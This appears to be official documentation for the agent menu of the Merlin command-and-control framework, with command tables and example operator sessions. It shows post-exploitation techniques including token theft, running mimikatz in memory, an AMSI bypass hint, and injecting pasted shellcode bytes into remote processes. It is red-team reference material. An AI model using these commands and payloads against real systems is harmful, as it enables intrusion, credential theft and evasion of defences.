Agent Menu

The agent menu context is used to interact with a single agent. The Merlin prompt will include the word agent along with the identifier for the selected agent. Type help to see a list of available commands for the agent menu context.

Prefix any command with help (e.g., help run) to view the command’s help information. Use any of the following flags after a command name to view the help information for that command: help, -h, --help, ?, /?

help

Note

The help menu will only show commands available to agent depending on its operating system

core
linux
windows

core

The core commands are available to every agent regardless of which operating system they are running on

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» help

   COMMAND  |          DESCRIPTION           |                 USAGE
------------+--------------------------------+----------------------------------------
  !         | Execute a command on the local | ! command [args]
            | system                         |
  back      | Go to the main menu            | back
  banner    | Display the Merlin ASCII art   | banner
            | banner                         |
  cd        | Change the Agent's current     | cd directory
            | working directory to provided  |
            | file system path               |
  checkin   | Force the agent check in by    | checkin
            | sending back an AgentInfo      |
            | message                        |
  clear     | Cancel all Agent jobs that     | clear
            | have not been sent             |
  connect   | Instruct an Agent to           | connect uri
            | re-connect it's primary        |
            | communicate channel to the     |
            | provide address                |
  debug     | Switch debug output to the     | debug
            | console on or off              |
  download  | Download a file from the host  | download filePath
            | the Agent is running on to the |
            | Server                         |
  env       | View or modify operating       | env {get|set|showall|unset}
            | system environment variables   | [variable] [value]
  exit      | Instruct the Agent to exit and | exit [-y]
            | quit running                   |
  ifconfig  | Get the network interface      | ifconfig
            | information where the Agent is |
            | running                        |
  info      | Display information about the  | info
            | Agent                          |
  interact  | Interact with an agent or a    | interact {agentID|listenerID}
            | listener                       |
  ipconfig  | Get the network interface      | ipconfig
            | information where the Agent is |
            | running                        |
  ja3       | Change the Agent's JA3 TLS     | ja3 signature
            | signature to the one provided  |
  jobs      | Display all unfinished jobs    | jobs
  kill      | Terminate a running process    | kill pid
            | by its numerical process       |
            | identifier                     |
  killdate  | Set the epoch date/time the    | killdate epochDateTime
            | agent will quit running        |
  link      | Establish a connection link    | link
            | with a peer-to-peer Agent      | {add|list|remove|refresh|tcp|udp|smb}
            |                                | address
  listener  | Start, stop, or list           | listener {list|start|stop}
            | peer-to-peer listeners on the  | [protocol] [address]
            | Agent                          |
  listeners | Move to the listeners menu     | listeners
  ls        | List the files and folders of  | ls [filePath]
            | the provided filepath          |
  main      | Go to the Main menu            | main
  maxretry  | Change the maximum number of   | maxretry number
            | failed connection attempts     |
            | before the Agent exits.        |
  modules   | Move to the modules menu       | modules
  note      | Create a server-side note for  | note message
            | the current agent.             |
  nslookup  | Natively resolve a hostname or | nslookup {hostname|ip address}
            | IP address                     | [hostname|ip address] ...
  padding   | Set the MAXIMUM amount of      | padding size
            | random message padding         |
  parrot    | Change the HTTP TLS            | parrot browserString
            | configuration to match         |
            | (parrot) the provided browser  |
  printenv  | List all environment           | printenv
            | variables.                     |
  pwd       | Print the current working      | pwd
            | directory.                     |
  quit      | Stop and exit Merlin           | quit [-y]
  rm        | Remove a file or directory     | rm filePath
  run       | Execute a program and return   | run program [arguments]
            | output                         |
  sdelete   | Securely delete a file by      | sdelete filePath
            | zeroing out the data           |
  sessions  | List established Agent         | sessions
            | sessions                       |
  shell     | Execute commands through the   | shell command [arguments]
            | host's default command shell   |
  skew      | Change the jitter, or skew,    | skew amount
            | of the Agent's beaconing       |
            | interval.                      |
  sleep     | Change the Agent's sleep       | sleep duration
            | interval                       |
  socks     | Start, stop, or list a SOCKS5  | socks {list | start
            | server on the Merlin server    | [interface:]port agentID |stop
            |                                | [interface:]port agentID}
  ssh       | Execute a command on a remote  | ssh username password
            | host via SSH                   | host:port program [args]
  status    | Display if the Agent is        | status
            | active, delayed, or dead       |
  touch     | Copy a file's timestamp to     | touch sourceFilePath
            | another file                   | destinationFilePath
  unlink    | Task parent Agent to           | unlink childAgentID
            | disconnect the child           |
            | peer-to-peer Agent             |
  upload    | Upload a file to the target    | upload sourceFilePath
            | system                         | destinationFilePath
  verbose   | Switch verbose output to the   | verbose
            | console on or off              |

linux

These commands are only available to agents running on a Linux operating system.

   COMMAND  |          DESCRIPTION           |                 USAGE
------------+--------------------------------+----------------------------------------
  memfd     | Execute a program from memory  | memfd filePath [args]

windows

These commands are only available to agents running on a Windows operating system.

       COMMAND      |          DESCRIPTION           |                   USAGE
--------------------+--------------------------------+--------------------------------------------
  execute-assembly  | Execute .NET assembly as       | execute-assembly assemblyPath
                    | shellcode in a child process   | [assemblyArguments]
                    |                                | [spawnToPath]
                    |                                | [spawnToArguments]
  execute-pe        | Execute Windows PE as          | execute-pe peFilePath
                    | shellcode in a child process   | [peArgumentes] [spawnToPath]
                    |                                | [spawnToArguments]
  execute-shellcode | Execute Windows shellcode      | execute-shellcode
                    |                                | {self|remote|RtlCreateUserThread|UserAPC}
                    |                                | [PID] {shellcode | shellcodeFilePath}
  invoke-assembly   | Execute a .NET assembly that   | invoke-assembly assemblyName
                    | was previously loaded into the | [assemblyArguments]
                    | agent with the 'load-assembly' |
                    | command.                       |
  load-clr          | Load a specific version of the | load-clr VERSION
                    | .NET CLR                       |
  list-assemblies   | Lists .NET assemblies that     | list-assemblies
                    | have been loaded into the      |
                    | agent’s process with the       |
                    | 'load-assembly' command.       |
  load-assembly     | Load a .NET assembly into the  | load-assembly filePath [alias]
                    | agent’s process.               |
  make_token        | Create a new Windows access    | make_token DOMAIN\USERNAME
                    | token                          | PASSWORD
  memory            | Read, write, or patch the      | memory {read|write|patch}
                    | Agent process' virtual memory  | module procedure {readLength |
                    |                                | hexData}
  netstat           | Get a list of network          | netstat [-p tcp|udp]
                    | connections                    |
  pipes             | List all named pipes on the    | pipes
                    | system                         |
  ps                | List running processes         | ps
  rev2self          | Revert the thread              | rev2self
                    | impersonation token to the     |
                    | process token                  |
  runas             | Run a program as a different   | runas domain\user password
                    | user.                          | program [arguments]
  sharpgen          | Compile & execute arbitrary C# | sharpgen <C# code> [spawnto]
                    | code.                          | [spawnto_args]
  steal_token       | Steal and use a Windows access | steal_token PID
                    | token from another process     |
  token             | Interact with Windows access   | token
                    | tokens                         | {make|privs|rev2self|steal|whoami}
                    |                                | [options]
  uptime            | Get the uptime of the target   | uptime
                    | system.                        |

!

Note

USAGE: ! command [args]

Any command that begins with a ! (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

Note

There must be a space after the ! for the command to be executed.

Merlin» ! ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»

back

Note

USAGE: back

The back command go to the parent menu, typically the main menu. When the back command is executed from the main menu, nothing will happen.

Merlin» back
Merlin»

banner

Note

USAGE: banner

The banner command is used too print the super cool ascii art banner along with the version and build numbers.

Merlin» banner
Merlin»


                               &&&&&&&&
                             &&&&&&&&&&&&
                            &&&&&&&&&&&&&&&
                          &&&&&&&&&&& &&&&
                         &&&&&&&&&&&&&  &&&&
                        &&&&&&&&&&&& &  &&&&
                       &&&&&&&&&&&&&     &&&&
                      &&&&&&&&&&&&&&&     &&&
                     &&&&&&&&&&&&&&&&&     &&&
                    &&&&&&&&&&&&&&&&&&&     &&&
                   &&&&&&&&&&&&&&&&&&&&&
                  &&&&&&&&&&&&&&&&&&&&&&&
                  &&&&&&&&&&&&&&&&&&&&&&&
                 &&&&&&&&&&&&&&&&&&&&&&&&&
                &&&&&&&&&&&&&&&&&&&&&&&&&&&
               &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
              &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
             &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
       &&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&
    &&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&
  &&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&&&&&
&&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&
&&&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&&
&&&&&&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&&&&&&&&&
&&&&&&&&&&&&&     &&&&&&&&&&&&&&&&&&&&&&&     &&&&&&&&&&&&&
  &&&&&&&&&&&&&&&          MERLIN         &&&&&&&&&&&&&&&
    &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
           &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
                   Version: 2.0.0
                   Build: nonRelease

cd

Note

USAGE: cd directory

The cd command is used to change the current working directory the Merlin agent is using. Relative paths can be used (e.g.,. ./../ or downloads\\Merlin). This command uses native Go and will not execute the cd binary program found on the host operating system.

The \ in a Windows directory must be escaped like C:\\Windows\\System32.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd /usr/bin
[-]Created job evtawDqBWa for agent a98e6175-7799-47fb-abf0-32534a9191f0 at 2019-02-27T01:03:57Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job evtawDqBWa at 2019-02-27T01:03:59Z
Changed working directory to /usr/bin

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd "C:\\Program Files (x86)\\"
[-]Created job gwFQhcsKJi for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:17:26Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job gwFQhcsKJi at 2019-02-27T01:17:30Z
Changed working directory to C:\Program Files (x86)

checkin

Note

USAGE: checkin

The checkin command will force the agent check in by sending back an AgentInfo message. Useful when a peer-to-peer Agent has a negative sleep value so it only communicates in when it has a message to send.

Merlin[agent][13f6ebee-78ec-4414-a04c-74188b95c01c]» checkin
[-] Created job xLjwJhegfR for agent 13f6ebee-78ec-4414-a04c-74188b95c01c at 2023-08-03T10:58:26Z
[-] Results of job xLjwJhegfR for agent 13f6ebee-78ec-4414-a04c-74188b95c01c at 2023-08-03T10:58:43Z
    Configuration data received for Agent 13f6ebee-78ec-4414-a04c-74188b95c01c and updated. Issue the "info" command to view it.

clear

Note

USAGE: clear

The clear command will cancel all jobs in the queue that have not been sent to the agent yet. This command will only clear jobs for the current agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» clear
[+] jobs cleared for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

connect

Note

USAGE: connect uri

The connect command instruct an Agent to re-connect it’s primary communicate channel to the provide address.

HTTP based Agents use a URI like https://127.0.0.1
TCP/UDP Agents use a URI like 127.0.0.1:7777
SMB Beacons use a URI like \\\\127.0.0.1\\pipe\\merlinpipe and the backslashes need to be escaped

Bind Agents will listen on the new interface and reverse Agents will connect to the new uri. If you get the jobs results back, the Agent has successfully reconnected.

HTTP Agent:

Merlin[agent][b3c03f46-b327-45c1-ac82-71a49032d4ad]» connect https://192.168.22.100/NeverGonnaGiveYouUp
[-] Created job QZnUPPEooZ for agent b3c03f46-b327-45c1-ac82-71a49032d4ad at 2023-08-03T11:04:08Z
[-] Results of job QZnUPPEooZ for agent b3c03f46-b327-45c1-ac82-71a49032d4ad at 2023-08-03T11:04:24Z
    Configuration data received for Agent b3c03f46-b327-45c1-ac82-71a49032d4ad and updated. Issue the "info" command to view it.

TCP bind Agent:

Merlin[agent][13f6ebee-78ec-4414-a04c-74188b95c01c]» connect 192.168.31.163:4444
[-] Created job IFDLuKIRHD for agent 13f6ebee-78ec-4414-a04c-74188b95c01c at 2023-08-03T11:09:36Z
Merlin[agent][13f6ebee-78ec-4414-a04c-74188b95c01c]» interact b3c03f46-b327-45c1-ac82-71a49032d4ad
Merlin[agent][b3c03f46-b327-45c1-ac82-71a49032d4ad]» link tcp 192.168.31.163:4444
[-] Created job QeoGIbKQjh for agent b3c03f46-b327-45c1-ac82-71a49032d4ad at 2023-08-03T11:10:43Z
[-] Results of job QeoGIbKQjh for agent b3c03f46-b327-45c1-ac82-71a49032d4ad at 2023-08-03T11:11:04Z
[+] Successfully connected to tcp-bind Agent 13f6ebee-78ec-4414-a04c-74188b95c01c at 192.168.31.163:4444
[-] Results of job IFDLuKIRHD for agent 13f6ebee-78ec-4414-a04c-74188b95c01c at 2023-08-03T11:11:04Z
    Configuration data received for Agent 13f6ebee-78ec-4414-a04c-74188b95c01c and updated. Issue the "info" command to view it.

debug

Note

USAGE: debug

The debug command is a switch used to enable or disable debug output to the console.

Merlin[agent][13f6ebee-78ec-4414-a04c-74188b95c01c]» debug
[+] 2023-10-19T12:16:13Z Debug output enabled
Merlin[agent][13f6ebee-78ec-4414-a04c-74188b95c01c]» debug
[+] 2023-10-19T12:16:15Z Debug output disabled

download

Note

USAGE: download filePath

The download command is used to download a file from the host where the agent is running back to the Merlin server. The file will be automatically saved in a folder with a name of the agent’s identifier in the data\agents\c1090dbc-f2f7-4d90-a241-86e0c0217786 directory.

Note

Because \ is used to escape a character, file paths require two (e.g., C:\\Windows)

Note

Enclose file paths containing a space with quotation marks (e.g.,. "C:\\Windows\\Program Files\\")

Warning

Downloaded files are stored on the Merlin Server, not the place where the Merlin CLI is running.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» download C:\\Windows\\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job NXnhJVRUSP for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job NXnhJVRUSP
[+]Successfully downloaded file C:\Windows\hh.exe with a size of 17920 bytes from agent to C:\merlin\data\agents\c1090dbc-f2f7-4d90-a241-86e0c0217786\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»

env

Note

USAGE: env {get|set|showall|unset} [variable] [value]

The env command is used to interact with environment variables and has the following methods:

get
set
showall
unset

get

Note

USAGE: env get variable

The env get command is used to retrieve the value of an existing environment variable. The third, or last, argument is the name of environment variable to retrieve.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env get TEST1
[-] Created job xaSqAdQBXs for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job xaSqAdQBXs for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variable TEST1=TESTINGTEST

set

Note

USAGE: env set variable value

The env set command is used create, or overwrite, an environment variable with the specified value. The third argument is the name of the environment variable and the fourth argument is the environment variables value.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env set TEST1 TESTINGTEST
[-] Created job NcyukONetb for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NcyukONetb for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Set environment variable: TEST1=TESTINGTEST

showall

Note

USAGE: env showall

The env showall command enumerates and return all environment variables:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env showall
[-] Created job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variables:
SHELL=/bin/bash
SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/3195,unix/ubuntu:/tmp/.ICE-unix/3195
QT_ACCESSIBILITY=1
SNAP_REVISION=148
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
SNAP_REAL_HOME=/home/rastley
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh

unset

Note

USAGE: env unset variable

The env unset command clears, or empties, the environment variable name provided in the third argument:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env unset TEST1
[-] Created job hEYjNYeniT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job hEYjNYeniT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Unset environment variable: TEST1

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env get TEST1
[-] Created job IhKdCrKHEr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job IhKdCrKHEr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variable TEST1=

exit

Note

USAGE: exit [-y]

The exit control type instructs the agent to exit or die. There is no response on the CLI after the instruction has been provided to the agent. This is the shortest way to quickly kill an agent. The command will prompt for confirmation to prevent accidentally exiting the agent. If you are certain use the -y flag to skip confirmation.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» exit

are you sure that you want to exit the agent? [yes/NO]:
yes
Merlin»
[-] Created job LHhrzSYuGS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

execute-assembly

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: execute-assembly assemblyPath [assemblyArguments] [spawnToPath] [spawnToArguments]

The execute-assembly command uses go-donut to convert a .NET assembly into shellcode and then uses the windows/x64/go/exec/createProcess Merlin module to execute the shellcode.

Currently this command only supports .NET v4.0 assemblies. For more granular control, use the windows/x64/go/exec/donut module.

The command requires the file path to the assembly you wish to execute in the <assembly path> argument. All other arguments are optional. The <spawnto path> argument is the process that will be started on the target and where the shellcode will be injected and executed. If a <spawnto path> is not provided, C:\WIndows\System32\dllhost.exe will be used. The <spawnto args> value is used as an argument when starting the spawnto process.

Note

Because \ is used to escape a character, file paths require two (e.g., C:\\Windows)

Note

Use quotes to enclose multiple arguments for <assembly args> (e.g., execute-assembly Seatbelt.exe "LocalGroups LocalUsers")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-assembly Seatbelt.exe "DotNet IdleTime" "C:\\Windows\\System32\\WerFault.exe" /?
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job dmAfzDPUsM for agent c1090dbc-f2f7-4d90-a241-86e0c0217786


[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job dmAfzDPUsM



                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.1.0         ,(((&%%%%%%%%%%%%%%%%%,
                         #%%%%##,


====== DotNet ======

  Installed CLR Versions
      2.0.50727
      4.0.30319

  Installed .NET Versions
      3.5.30729.4926
      4.8.03752

  Anti-Malware Scan Interface (AMSI)
      OS supports AMSI           : True
     .NET version support AMSI   : True
        [!] The highest .NET version is enrolled in AMSI!
        [*] You can invoke .NET version 3.5 to bypass AMSI.
====== IdleTime ======

  CurrentUser : DESKTOP-H35RK21\rastley
  Idletime    : 00h:06m:02s:766ms (362766 milliseconds)



[*] Completed collection in 0.122 seconds

execute-pe

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: execute-pe peFilePath [peArgumentes] [spawnToPath] [spawnToArguments]

The execute-pe command uses go-donut to convert a Windows Portable Executable (PE), commonly an .exe, into shellcode and then uses the windows/x64/go/exec/createProcess Merlin module to execute the shellcode.

The command requires the file path to the PE you wish to execute in the <pe path> argument. All other arguments are optional. The <spawnto path> argument is the process that will be started on the target and where the shellcode will be injected and executed. If a <spawnto path> is not provided, C:\WIndows\System32\dllhost.exe will be used. The <spawnto args> value is used as an argument when starting the spawnto process.

Note

Because \ is used to escape a character, file paths require two (e.g., C:\\Windows)

Note

Use quotes to enclose multiple arguments for <pe args> (e.g., execute-pe mimikatz.exe "coffee exit")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-pe mimikatz.exe "coffee exit" C:\\Windows\\System32\\WerFault.exe Testing
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job BSvJZFvbRZ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786


[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job BSvJZFvbRZ


  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

mimikatz(commandline) # exit
Bye!

execute-shellcode

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: execute-shellcode {self|remote|RtlCreateUserThread|UserAPC} [PID] {shellcode | shellcodeFilePath}

The execute-shellcode command is used to have the Agent execute the provided shellcode. This command became available in version 0.6.4 and is only supported for Windows agents.

The execute-shellcode command takes the shellcode you want to execute at the last argument. Shellcode can be provided using an absolute filepath or by pasting it directly into the terminal in one of the following formats:

Hex (e.g., 5051525356)
0x50, 0x51, 0x52, 0x53, 0x56 with or without spaces and commas
\x50\x51\x52\x53\x56
Base64 encoded version of the above formats
A file containing any of the above formats or just a raw byte file

Warning

Shellcode injection and execution could cause a process to crash so choose wisely

Note

If Cobalt Strike’s Beacon is injected using one of these methods, exiting the Beacon will cause the process to die too.

The agent can execute shellcode using one of the following methods:

self
remote
RtlCreateUserThread
UserAPC

self

Note

USAGE: execute-shellcode self SHELLCODE

The self method allocates space within the Merlin Agent process and executes the shellcode.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode self 505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3
[-]Created job joQNJONrEK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job joQNJONrEK
[+]Shellcode executed successfully

remote

Note

USAGE: execute-shellcode remote PID SHELLCODE

The remote method creates a thread in another process using the CreateRemoteThreadEx Windows API call.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode remote 6560 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3
[-]Created job PRumZQYBFR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job PRumZQYBFR
[+]Shellcode executed successfully

RtlCreateUserThread

Note

USAGE: execute-shellcode rtlcreateuserthread PID SHELLCODE

The rtlcreateuserthread method creates a thread in another process using the undocumented RtlCreateUserThread Windows API call.

Example:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode RtlCreateUserThread 6560 \x50\x51\x52\x53\x56\x57\x55\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x83\xEC\x28\x65\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x30\x5D\x5F\x5E\x5B\x5A\x59\x58\xC3
[-]Created job CCWrmdLIFQ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job CCWrmdLIFQ
[+]Shellcode executed successfully

UserAPC

Note

USAGE: execute-shellcode userapc PID SHELLCODE

The userapc method creates a thread in another process using the QueueUserAPC Windows API call.

Note

This method is highly unstable and therefore was intentionally not added to the tab completion list of available methods. The current implementation requires the process to have more than 1 thread. All remaining threads will have a user-mode APC queued to execute the shellcode and could result in multiple instances of execution. This method frequently causes processes to crash. Additionally, the shellcode might not execute at all if none of the threads were in an alertable state. The svchost.exe process usually provides a little better choice, but still not guaranteed.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode userapc 4824 /home/rickastley/calc.bin
[-]Created job NPQGRntaQX for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job NPQGRntaQX
[+]Shellcode executed successfully

ifconfig

Note

USAGE: ifconfig

The ifconfig command will enumerate all of the host’s network interfaces and return their configuration.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Ethernet0
  MAC Address   00:0c:29:04:29:9d
  IP Address    192.168.1.132
  Subnet Mask   255.255.255.0
  Gateway       192.168.153.2
  DHCP          Enabled
  DHCP Server:  192.168.1.254

Bluetooth Network Connection
  MAC Address   f4:02:28:35:ae:b6
  IP Address    0.0.0.0
  Subnet Mask   0.0.0.0
  Gateway       0.0.0.0
  DHCP          Enabled
  DHCP Server:

info

Note

USAGE: info

The info command is used to get information about a specific agent to include its configuration and environment.

ID - The agent’s unique identifier that is generated on execution
Alive - Is the agent alive?
Status - The agent’s current communication status of either active, delayed, or dead
Platform - The operating system and architecture the agent is running on
User Name - The user name the agent is currently running as
User GUID - The unique identifier for the user the agent is currently running as
Hostname - The name of the compromised host where the agent is currently running
Process Name - The name of the process the agent is currently running in
Process ID - The numerical Process ID (PID) that the agent is currently running in
IP - A list of interface IP addresses for where the agent is currently running
Initial Check In - The date and time the agent first connected to the server
Last Check In - The date and time the agent last connected to the server followed by the relative amount of time in parenthesis
Linked Agents - Peer-to-peer child agents this agent is connected to
Groups - Any server-side groups the agent is a member of
Note - Any operator generated notes about the agent
Agent Version - The version number of the running agent
Agent Build - A hash of the git commit the agent was built from
Agent Wait Time - The amount of time the agent waits, or sleeps, between checkins
Agent Wait Time Skew - The amount of skew multiplied to the agent wait time
Agent Message Padding Max - The maximum amount of random data appended to every message to/from the agent
Agent Max Retries - The maximum amount of times an agent can fail to check in before it quits running
Agent Failed Check In - The total number of failed check in attempts
Agent Kill Date - The date the agent will quit running. 1970-01-01T00:00:00Z signifies that the kill date is not set
Agent Communication Protocol - The protocol the agent is currently communicating over
Agent JA3 TLS Client Signature - The JA3 client signature. If empty then the default Merlin signature is being used

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» info

  ID                             | c1090dbc-f2f7-4d90-a241-86e0c0217786
  Alive                          | true
  Status                         | Active
  Platform                       | linux/amd64
  User Name                      | rastley
  User GUID                      | 1000
  Integrity Level                | 3
  Hostname                       | ubuntu
  Process Name                   | /tmp/go-build2984352876/b001/exe/main
  Process ID                     | 3802034
  IP                             | 127.0.0.1/8 ::1/128
                                 | 192.168.1.2/24
                                 | fe80::b7bb:3953:682e:cb7f/64
  Initial Check In               | 2023-10-23T14:43:57Z
  Last Check In                  | 2023-10-23T14:44:09Z (0:00:03
                                 | ago)
  Linked Agents                  | []
  Groups                         | [all]
  Note                           |
                                 |
  Agent Version                  | 1.5.0
  Agent Build                    | nonRelease
  Agent Wait Time                | 10s
  Agent Wait Time Skew           | 3000
  Agent Message Padding Max      | 10
  Agent Max Retries              | 7
